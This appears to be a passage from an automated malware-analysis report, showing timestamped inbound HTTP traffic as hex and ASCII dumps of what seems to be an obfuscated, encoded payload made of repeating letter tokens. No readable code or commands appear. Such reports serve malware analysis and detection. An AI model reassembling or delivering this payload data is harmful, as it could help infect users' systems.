20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 52 20 78 20 6f 59 4b 20 4f 4b 20 6f 6b 20 78 20 6f 59 4b 20 4f 6f 
20 6f 6b 20 78 20 59 74 20 52 20 78 20 78 20 78 20 59 52 20 45 51 20 78 20 78 20 78 20 78 20 78 20 45 6f 20 74 51 20 
78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f 
4f 4b 20 6f 59 4b 20 4f 4b 20 6f 74 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 78 20 78 20 78 20 78 20 52 6f 
20 4f 6f 59 20 6f 59 59 20 6f 59 59 20 6f 59 59 
Data Ascii: Eo Yx x x x Kx ok x x Ox x Eo tY x x x oYK OK o x Kx YR x x Ox x Eo tR x x x oYK OK o x oYK Oo oR x oYK 
OK ok x oYK Oo ok x Yt R x x x YR EQ x x x x x Eo tQ x x x oYK OK o x oYK Oo ot x Eo O x x x oOK oYK OK ot x oYK Oo 
ot x Eo Ox x x x Ro OoY oYY oYY oYY

2021-11-09 21:21:49 UTC 368 IN Data Raw: 78 20 78 20 78 20 6f 59 45 20 51 20 78 20 78 20 45 74 20 4f 78 20 78 20 78 20 4f 59 20 78 20 78 20 78 20 45 
20 4f 78 20 78 20 78 20 6f 74 20 4b 6b 20 4f 4f 20 78 20 4f 52 6b 20 45 20 78 20 78 20 4f 59 20 78 20 78 20 4f 74 20 4f 4b 
78 20 6f 74 20 78 20 78 20 4f 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 78 20 45 6f 20 6f 59 4b 20 6f 59 59 20 6f
59 59 20 6f 59 59 20 6f 59 4b 20 4f 4b 20 4f 20 78 20 45 6f 20 6f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 
6f 52 20 74 74 20 78 20 78 20 4f 78 20 6f 59 4b 20 51 20 78 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 4f 4f 4f 20 4b 6b 
20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 4b 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 
20 4b 45 20 52 20 6f 59 4b 20 6f 6f 20 6b 45 20 
Data Ascii: x x x oYE Q x x Et Ox x x OY x x x E Ox x x ot Kk OO x ORk E x x OY x x Ot OKx ot x x O x x Kx t x x Ox x Eo 
oYK oYY oYY oYY oYK OK O x Eo o x x x oYK OK E x OoR tt x x Ox oYK Q x x Eo x x x x OOO Kk x x Ox oYK OK K x Eo 
E x x x oYK OK E x KE R oYK oo kE 

2021-11-09 21:21:49 UTC 384 IN Data Raw: 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 6f 20 45 
4f 20 4f 78 59 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 78 20 78 20 4f 51 20 4b 6b 20 4b 20 78 
20 6f 20 4f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 6f 6b 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 
59 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 
74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 
45 4f 20 59 45 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 
45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 
Data Ascii:  OYt Et Eo x x x x EO OxO OYt Et oo EO OxY OYt OOY OER x x Ox Ko x x OQ Kk K x o O x x E x x Ot ok 
OKO OOY x x O Et Eo Y x x x EO Yt OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO YY OYt Et Eo Y x x x EO YE OYt Et ot 
EO Oxo OYt Et Eo K x x x EO Qt OYt Et Eo

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:49 UTC 400 IN Data Raw: 4f 4f 59 20 4f 74 78 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78 
20 4f 4f 52 20 78 20 78 20 4f 78 20 4f 51 20 6f 78 20 4f 74 20 6f 78 20 4b 4b 20 4f 6b 20 78 20 45 20 4b 78 20 51 52 20 78 
20 78 20 52 20 4b 78 20 4f 45 20 78 20 78 20 4f 78 20 4f 4f 59 20 4f 74 4f 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 51 
20 6f 4f 20 4b 45 20 78 20 4f 74 20 6f 4f 20 4b 6f 20 78 20 78 20 52 59 20 6f 6b 20 78 20 78 20 78 20 78 20 78 20 78 20 74 
20 78 20 78 20 78 20 6f 4f 59 20 4f 20 78 20 78 20 6f 6f 6f 20 4f 20 78 20 78 20 4f 45 20 78 20 78 20 78 20 6f 20 78 20 78 
20 4f 20 4f 51 20 4b 6b 20 4b 20 78 20 74 52 20 45 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 78 20 4f 4b 4f 
20 4f 4f 59 20 78 20 78 20 4f 20 45 74 
Data Ascii: OOY Otx x x Ox Ooo R OoR Oxk x x Ox Kx OOR x x Ox OQ ox Ot ox KK Ok x E Kx QR x x R Kx OE x x Ox O
OY OtO x x Ox Ooo R OQ oO KE x Ot oO Ko x x RY ok x x x x x x t x x x oOY O x x ooo O x x OE x x x o x x O OQ Kk K x 
tR E x x E x x Ot EO ox OKO OOY x x O Et

2021-11-09 21:21:49 UTC 416 IN Data Raw: 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 45 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 
45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 
45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 
20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 
4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 
74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 
20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 
Data Ascii: x x EO Kk OYt Et EO OE EO Oxk OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO 
Kk OYt Et Eo Oo x x x EO Yt OYt Et EO Oo EO Qt OYt Et Eo OO x x x EO YK OYt Et Eo OO x x x EO YO OYt Et Eo OO x 
x x EO YE OYt Et Eo OO x x x EO Oxo OYt E

2021-11-09 21:21:49 UTC 432 IN Data Raw: 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 
59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 4f 20 4f 52 20 45 4f 20 4b
52 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 
78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 
20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 4f 20 4f 59 20 45 4f 20 4f 78 
78 20 4f 59 74 20 45 74 20 45 6f 20 4f 4b 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 4b 20 78 
20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 
Data Ascii:  x x EO YY OYt Et Eo OR x x x EO Kk OYt Et Eo OR x x x EO YE OYt Et EO OR EO KR OYt Et Eo OY x x x 
EO Oxx OYt Et Eo OY x x x EO Qt OYt Et Eo OY x x x EO Qk OYt Et Eo OY x x x EO Oxx OYt Et EO OY EO Oxx OYt Et 
Eo OK x x x EO Yx OYt Et Eo OK x x x EO OxO OY

2021-11-09 21:21:49 UTC 448 IN Data Raw: 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 78 
20 4f 59 74 20 45 74 20 45 4f 20 6f 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 
4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 
6f 45 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 4f 20 6f 45 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 
45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4f 
78 78 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 4f 20 6f 6f 
20 45 4f 20 4f 4f 4b 20 4f 59 74 20 45 
Data Ascii: x x x EO Yo OYt Et Eo oK x x x EO Oxx OYt Et EO oK EO OOx OYt Et Eo oE x x x EO Oxo OYt Et Eo oE x x x 
EO QQ OYt Et Eo oE x x x EO YO OYt Et EO oE EO Qt OYt Et Eo oo x x x EO KQ OYt Et Eo oo x x x EO Oxx OYt Et Eo 
oo x x x EO OxO OYt Et EO oo EO OOK OYt E

2021-11-09 21:21:49 UTC 463 IN Data Raw: 4f 59 74 20 45 74 20 45 6f 20 51 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 
59 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 
45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 
20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 
20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 
20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 45 20 45 4f 20 4f 4f 4f 20 4f 59 
74 20 45 74 20 45 6f 20 51 6f 20 78 20 78 20 78 20 45 
Data Ascii: OYt Et Eo QY x x x EO Qk OYt Et EO QY EO KR OYt Et Eo QK x x x EO YK OYt Et Eo QK x x x EO OxO OYt 
Et Eo QK x x x EO Qk OYt Et EO QK EO OOx OYt Et Eo QE x x x EO QQ OYt Et Eo QE x x x EO KQ OYt Et Eo QE x x x 
EO Kk OYt Et EO QE EO OOO OYt Et Eo Qo x x x E

2021-11-09 21:21:49 UTC 479 IN Data Raw: 20 45 74 20 45 6f 20 74 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 6f 51 20 45 4f 20 4f 78 51 
20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 
20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 
6f 6b 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 
45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 
6f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 59 
74 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 
Data Ascii:  Et Eo t x x x EO Kk OYt Et oQ EO OxQ OYt Et Eo R x x x EO Qt OYt Et Eo R x x x EO Qk OYt Et Eo R x x x 
EO Qt OYt Et ok EO OxO OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO OxO OYt Et Eo Y x x x EO Oxo OYt Et ot EO 
OOR OYt Et Eo K x x x EO Yt OYt Et Eo K x

2021-11-09 21:21:49 UTC 495 IN Data Raw: 20 4f 6f 6b 20 4f 4f 4b 20 6f 74 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 59 4b 20 6b 4f 20 45 59 20 6f 20 6b 52 
20 4f 6f 6b 20 6f 4b 4b 20 4b 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 45 4f 20 51 51 20 45 59 20 6f 20 6b 52 20 4f 6f 
6b 20 4f 4b 4b 20 4b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4b 59 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 
6f 52 20 6b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 59 4f 20 59 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6f 78 20 6f 
59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 45 6b 20 74 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 51 4f 20 4f 4f 78 20 45 59 
20 6f 20 6b 52 20 4f 6f 6b 20 4f 6b 4f 20 52 4b 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 78 59 20 4f 4f 45 20 45 59 20 6f 20
6b 52 20 4f 6f 6b 20 4f 4b 45 20 
Data Ascii:  Ook OOK ot EY o kR Ook OYK kO EY o kR Ook oKK KY EY o kR Ook OEO QQ EY o kR Ook OKK Kx EY o 
kR Ook KY OOx EY o kR Ook ooR kx EY o kR Ook YO YR EY o kR Ook Oox oY EY o kR Ook Ek tR EY o kR Ook QO OO
x EY o kR Ook OkO RK EY o kR Ook OxY OOE EY o kR Ook OKE 

2021-11-09 21:21:49 UTC 511 IN Data Raw: 4f 74 52 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 
45 20 45 20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 
52 20 4f 20 52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 
20 78 20 6f 78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 
20 45 20 51 20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 
20 4f 20 4f 78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 
51 20 78 20 6f 4b 78 20 4f 20 4f 6f 45 20 45 
Data Ascii: OtR O KE E Q x Okx O Kk E Q x OkK O YE E Q x Okk O Yk E Q x OQo O RE E Q x OQR O Rk E Q x oxx O 
tE E Q x oxK O tk E Q x oxk O kE E Q x oOo O kk E Q x oOR O QE E Q x oox O Qk E Q x ooK O OxE E Q x ook O Oxk 
E Q x oEo O OOE E Q x oER O OOk E Q x oKx O OoE E

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:49 UTC 527 IN Data Raw: 6f 20 51 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 
51 51 20 4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 
20 4f 78 4f 20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 
20 4f 4f 78 20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 
51 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 
20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 
78 4b 20 51 74 20 4f 
Data Ascii: o Qt OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OxE OxY OOY OOR OOK OoO tY OxO OoO kx 
OxO OOK OxQ OxY OOY OOY OxY OOO OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OOO QQ to tO Oxk OOO Qk Qt Oxk 
x tx OOK OxO OxO to tO Oxk OOO Qk Qt Oxk x tt Qt OOK OOY OxK Qt O

2021-11-09 21:21:49 UTC 543 IN Data Raw: 20 4f 59 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 
59 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 
6b 6f 20 4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f
74 4b 20 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 
45 20 4f 45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20
4f 59 45 20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 
45 20 4f 45 45 20 
Data Ascii:  OYo ooY Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx ooY OkO Oto ooY OkO OkR ooY Oko OEx x 
oEE OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO 
oEE OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE 

2021-11-09 21:21:49 UTC 559 IN Data Raw: 20 6f 45 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45
4f 20 4f 6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6f 51 20 4f 
4b 6f 20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6
f 45 59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 
4b 20 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 
20 6f 45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 
45 45 20 4f 6b 6b 20 
Data Ascii:  oEO OoQ OkQ oEO OoQ OKx oEO OEx OKx oEO OoQ OKE oEO OEx OEx oEO OoQ OkY oEO OoQ OKo x 
oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK 
oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk 

2021-11-09 21:21:49 UTC 575 IN Data Raw: 6f 6b 20 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 
20 4f 4b 52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 
59 4f 20 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 
45 4f 20 4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 
20 4f 45 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 
45 4f 20 4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 
20 4f 74 6b 20 6f 45 
Data Ascii: ok OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO 
OKR OYo oEO OKR OKk oEO OKR OYE oEO OKt OEE oEO OKR Okt oEO OKR OYK oEO OKt OEt oEO OKR OYx 
oEO OKt OER oEO OKt OEY oEO OKR Okx oEO OKR OYR oEO OKt OEK oEO OKR Otk oE

2021-11-09 21:21:49 UTC 591 IN Data Raw: 20 4f 52 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 
52 45 20 4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f
20 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 
20 4f 74 4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6f 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 
45 74 20 6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 
20 4f 74 59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 
4b 59 20 6f 6f 74 20 
Data Ascii:  ORK ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot O
tK ORQ oot OtK ORR oot OtY OYx oot OtK ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot 
OtY ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot 

2021-11-09 21:21:49 UTC 607 IN Data Raw: 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 
20 4f 59 4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 
78 20 6f 45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 
4f 6b 4b 20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 
45 20 6f 45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 
20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 
4f 74 4b 20 6f 45 45 20 4f 6b 
Data Ascii: kE OtO oEk OkK OKx oEk OkE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OkE Oto x oEE OkK OEO 
oEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE 
OkK OYR oEE OkE OQx oEE OkK OYk oEE OkE OQx oEE OkK OtK oEE Ok

2021-11-09 21:21:49 UTC 623 IN Data Raw: 20 4f 45 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 
45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 
59 20 4f 45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20
4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 
6f 6f 74 20 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 
20 4f 74 6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 
74 20 4f 59 4f 20 
Data Ascii:  OEE oEY OEE OKk oEY OEE OkE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE 
Okx oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OkE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx 
OQx oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO 

2021-11-09 21:21:49 UTC 639 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 
59 6f 20 78 20 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 
